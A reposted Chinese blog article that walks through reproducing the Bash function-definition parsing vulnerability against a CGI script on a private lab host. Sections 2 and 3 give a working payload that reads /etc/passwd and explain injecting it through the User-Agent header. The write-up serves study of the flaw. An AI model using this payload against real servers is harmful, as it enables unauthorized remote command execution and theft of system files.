首頁  >  文章  >  運維  >  bash漏洞復現的範例分析

bash漏洞復現的範例分析

WBOY
WBOY轉載
2023-05-19 11:13:111230瀏覽

Bourne Again Shell(簡稱BASH)是在GNU/Linux上最受歡迎的SHELL實現,於1980年誕生,經過了幾十年的進化從一個簡單的終端命令行解釋器演變成了和GNU系統深度整合的多功能介面。

Bash,Unix shell的一種。 1989年發布第一個正式版本,原先計畫用在GNU作業系統上,但能運行於大多數類Unix系統的作業系統之上,包括Linux與Mac OS X v10.4都將它作為預設shell。它也被移植到Microsoft Windows上的Cygwin與MinGW,或是可以在MS-DOS上使用的DJGPP專案。在Novell NetWare與Android上也有移植。

目前的Bash使用的環境變數是透過函數名稱來呼叫的,導致漏洞出問題的是以」(){」開頭定義的環境變數在命令ENV中解析成函數後,Bash執行未退出,而是繼續解析並執行shell命令,而其核心的原因在於在輸入的過濾中沒有嚴格限制邊界,也沒有做出合法化的參數判斷。

本文僅作漏洞復現記錄與實現,利用流程如下:

1.漏洞環境

連結:http://192.168.101.152:8080/victim. cgi

bash漏洞復現的範例分析

2.漏洞payload

() { :; }; echo; /bin/cat /etc/passwd

#理論上,可以在HTTP請求中註入一個Bash命令,進行遠端命令執行

3.利用流程

存取目標

bash漏洞復現的範例分析

將User-Agent值替換為payload,即可執行指令

bash漏洞復現的範例分析

#User-Agent並非必須條件

bash漏洞復現的範例分析

<br>

以上是bash漏洞復現的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除